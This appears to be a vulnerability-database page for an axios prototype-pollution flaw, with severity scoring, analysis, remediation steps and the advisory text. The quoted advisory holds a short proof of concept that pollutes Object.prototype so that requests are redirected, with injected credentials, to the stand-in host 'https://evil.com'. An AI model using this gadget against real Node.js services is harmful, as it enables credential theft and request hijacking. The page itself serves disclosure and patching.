Skip to main content

axios CVE-2026-42264

CRITICAL
Improperly Controlled Modification of Object Prototype Attributes (Prototype Pollution) (CWE-1321)
2026-05-05 https://github.com/axios/axios GHSA-q8qp-cvcw-x6jj
9.1
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Pollute Object.prototype via separate dependency flaw
  2. Delivery
    Set auth/baseURL/socketPath gadget keys
  3. Exploit
    App issues axios request with relative URL
  4. Execution
    Adapter reads polluted prototype values
  5. Persist
    Request redirected to attacker server with injected credentials
  6. Impact
    Exfiltrate request data and execute beforeRedirect callback

Vulnerability Assessment

Weakness
CWE
ASVS 5.0
V3 - Web Frontend Security Prototype pollution prevention
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a pre-existing prototype pollution write primitive in the same Node.js process - another dependency or code path that lets the attacker set properties on Object.prototype - because axios itself only READS the polluted values; it does not provide the write. The targeted application must also use axios's Node HTTP adapter (not the browser/fetch build) and must NOT explicitly set the abused property on its own config, since an own property shadows the polluted prototype value (e.g. baseURL hijack only affects requests made with relative URLs and no app-defined baseURL). What limits exploitation: no Authorization header injection if the app always sets config.auth; no relative-URL redirect if the app always passes absolute URLs or sets baseURL; the beforeRedirect code-execution path only triggers when a request actually follows an HTTP redirect. There is no direct unauthenticated remote trigger against a default deployment - the published PR:N/AC:L rating understates the dependency on a separate pollution flaw.

Impact

The signals conflict and must be weighed carefully. The published CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, score 9.1) treats this as a trivially exploitable network attack, but the description makes clear it is a GADGET: it only fires when Object.prototype has already been polluted by another vulnerable dependency in the same process. That precondition means the published AC:L/PR:N is optimistic - realistically the attack chain requires a separate prototype pollution primitive to exist and be reachable, which substantially raises complexity. Consistent with that, EPSS is very low at 0.03% (10th percentile) and the CVE is not in CISA KEV, indicating no observed mass exploitation. There is a clear, credible PoC in the vendor advisory, so the technical impact (high confidentiality and integrity, including credential leakage, request hijacking, SSRF, and callback execution) is real where the precondition holds. Bottom line: high theoretical impact and a genuine gadget worth patching, but real-world standalone risk is moderate and contingent on a co-resident pollution flaw - prioritize as a dependency-hygiene fix, not an emergency internet-facing 9.1.

Exploit ScenarioDerived

A multi-tenant Node.js service uses axios with relative-URL requests and also depends on a library with a known prototype pollution write flaw. An attacker exploits that other library to set Object.prototype.baseURL = 'https://evil.com' and Object.prototype.auth to attacker credentials; from then on every axios.get('/api/...') is silently redirected to the attacker's server carrying an injected Basic Authorization header, leaking request bodies and credentials. A published PoC in the GHSA advisory demonstrates exactly this redirect-and-credential-injection behavior.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 30, 2026

Prototype pollution read-side gadgets in the axios HTTP adapter (npm, versions >=1.0.0 to <1.15.2) allow an attacker who has already polluted Object.prototype in the same Node.js process to hijack every outbound request - injecting attacker-controlled Authorization headers, redirecting relative-URL requests to an external server, pointing requests at internal Unix sockets (SSRF/container escape), forcing Node's insecure HTTP parser, and even executing an attacker-supplied beforeRedirect callback. The flaw stems from five config properties (auth, baseURL, socketPath, beforeRedirect, insecureHTTPParser) being read via direct property access that traverses the prototype chain, unlike eight sibling properties already guarded by an own() helper. A working proof-of-concept is published in the GHSA advisory, but EPSS is only 0.03% and the issue is not in CISA KEV - no public exploit identified at time of analysis as a standalone attack, and it requires a separate prototype pollution primitive to fire.

Earlier versions of this analysis (2)
v2 Jun 30, 2026 - 03:39 cvss changed CVSS 9.1

Prototype pollution gadgets in the axios HTTP client (npm package, fixed in 1.15.2) let an attacker who can already pollute Object.prototype in the same Node.js process control five sensitive request properties - auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser - that are read without hasOwnProperty guards. Successful abuse silently injects Authorization credentials, redirects relative-URL requests to attacker servers, reaches internal Unix sockets for SSRF/container escape, and even executes attacker-supplied redirect callbacks. A working proof-of-concept is published in the upstream advisory, but EPSS is only 0.03% and there is no public exploit identified as actively used (not in CISA KEV).

v1 May 05, 2026 - 01:00 CVSS 7.4

Prototype pollution read-side gadgets in axios HTTP adapter enable credential injection, request hijacking to attacker-controlled servers, and SSRF against internal Unix sockets when Object.prototype is polluted by co-located dependencies. Five unguarded config properties (auth, baseURL, socketPath, beforeRedirect, insecureHTTPParser) silently inherit polluted values on every outbound HTTP request. Proof-of-concept code demonstrates request redirection and credential exfiltration. Fixed in axios 1.15.2 per GitHub advisory GHSA-q8qp-cvcw-x6jj. CVSS 7.4 (High) reflects network exploitability with high attack complexity; no public exploit identified at time of analysis beyond vendor-provided POC.

RemediationAI

Vendor-released patch: upgrade axios to 1.15.2 or later (fix delivered via PR https://github.com/axios/axios/pull/10779 and commit 47915144662f2733e6c051bdcb895a8c8f0586aa, release https://github.com/axios/axios/releases/tag/v1.15.2); Red Hat consumers should apply RHSA-2026:33173. Because this is a read-side gadget, also remediate the root cause: audit and patch any dependency that permits prototype pollution writes, since without a pollution primitive the gadget cannot fire. If you cannot upgrade axios immediately, harden the runtime by freezing the prototype early in process startup with Object.freeze(Object.prototype) (trade-off: can break libraries that legitimately extend built-in prototypes, so test thoroughly), and explicitly set the affected fields on your axios config/instance defaults - auth, baseURL, socketPath, beforeRedirect, and insecureHTTPParser - so they become own properties and never fall through to the prototype chain (trade-off: must be applied on every instance and is easy to miss). Review the advisory at https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj for details.

Affected Packages

npm axios fix: 1.15.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

axios is one of the most widely used HTTP client libraries for Node.js and the browser. This is a CWE-1321 (Prototype Pollution) read-side gadget rather than a write primitive: axios does not itself allow polluting Object.prototype, but its Node HTTP adapter (lib/adapters/http.js) and lib/helpers/resolveConfig.js read configuration values such as config.auth (line 617), config.baseURL (resolveConfig.js line 18), config.socketPath (line 669), config.beforeRedirect (line 698), and config.insecureHTTPParser (line 712) using plain dotted access. Because mergeConfig() builds the effective config via Object.keys({...config1, ...config2}) - which only enumerates own properties - any of these five keys that the application never explicitly sets are simply absent from the merged object, so a direct read falls through to a polluted Object.prototype value. An existing own() helper (http.js line 336) already guards data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, and transport against exactly this class of attack; the five affected properties were never added to that protection. CPE/package scope is pkg:npm/axios.

Know when Prototype Pollution gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI 7.4 HIGH

AC:H because exploitation requires a pre-existing prototype pollution write primitive in the same process; AV:N and high C/I retained since impact lands on outbound network requests and credential/integrity loss, A:N as no availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE 7.4 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Red Hat 7.4 HIGH

Primary rating from NVD.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

4
Analysis Updated
Jun 30, 2026 - 03:42 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 30, 2026 - 03:39 vuln.today
v2 - CVSS changed
Severity Changed
Jun 30, 2026 - 03:24 NVD
HIGH CRITICAL
CVSS changed
Jun 30, 2026 - 03:24 NVD
7.4 (HIGH) 9.1 (CRITICAL)

DescriptionNVD

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

  1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
  2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
  3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
  4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
  5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

javascript
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

  • Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
  • Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
  • SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
  • Code execution: Attacker-supplied functions execute during HTTP redirects.
  • Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

javascript
const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 273 npm packages depend on axios (189 direct, 84 indirect)

Ecosystem-wide dependent count for version 1.0.0.

Executive ViewAI

Why It Matters

A critical vulnerability in the widely-used axios library (versions 1.0.0-1.15.1) allows Node.js applications to have outbound requests hijacked and redirected when an attacker controls JavaScript object pollution in the process. Publicly available exploit code exists per GHSA advisory. Organizations must patch to prevent data theft, credential theft, and unauthorized internal network access.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Prevalence
Ubiquitous
axios is among the most-downloaded npm packages, pervasive across Node.js apps
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)NVD

pkg:npm/axios
CVE-2026-34621 HIGH POC
8.6 Apr 11

Prototype pollution in Adobe Acrobat Reader versions 24.001.30356, 26.001.21367 and earlier enables arbitrary code execu

CVE-2021-23450 CRITICAL POC
9.8 Dec 17

All versions of package dojo are vulnerable to Prototype Pollution via the setObject function. Rated critical severity (

CVE-2024-56059 CRITICAL
9.8 Dec 18

Prototype pollution in the farinspace Partners WordPress plugin (versions up to and including 0.2.0) enables remote unau

CVE-2021-23383 CRITICAL POC
9.8 May 04

The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to co

CVE-2020-7788 CRITICAL POC
9.8 Dec 11

This affects the package ini before 1.3.6. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl

CVE-2020-28271 CRITICAL POC
9.8 Nov 12

Prototype pollution vulnerability in 'deephas' versions 1.0.0 through 1.0.5 allows attacker to cause a denial of service

CVE-2023-38894 CRITICAL POC
9.8 Aug 16

A Prototype Pollution issue in Cronvel Tree-kit v.0.7.4 and before allows a remote attacker to execute arbitrary code vi

CVE-2024-24292 CRITICAL POC
9.8 Mar 28

A Prototype Pollution issue in Aliconnect /sdk v.0.0.6 allows an attacker to execute arbitrary code via the aim function

CVE-2023-26121 CRITICAL POC
10.0 Apr 11

All versions of the package safe-eval are vulnerable to Prototype Pollution via the safeEval function, due to improper s

CVE-2021-23449 CRITICAL POC
10.0 Oct 18

This affects the package vm2 before 3.9.4 via a Prototype Pollution attack vector, which can lead to execution of arbitr

CVE-2024-39011 CRITICAL POC
9.8 Jul 30

Prototype Pollution in chargeover redoc v2.0.9-rc.69 allows attackers to execute arbitrary code or cause a Denial of Ser

CVE-2024-38988 CRITICAL POC
9.8 Mar 28

alizeait unflatto <= 1.0.2 was discovered to contain a prototype pollution via the method exports.unflatto at /dist/inde

Vendor StatusVendor

SUSE

Severity: High
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Fixed
SUSE Linux Enterprise High Performance Computing 15 SP7 Fixed
SUSE Linux Enterprise Module for Python 3 15 SP7 Fixed
SUSE Linux Enterprise Module for SAP Applications 15 SP7 Fixed
SUSE Linux Enterprise Server 15 SP7 Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy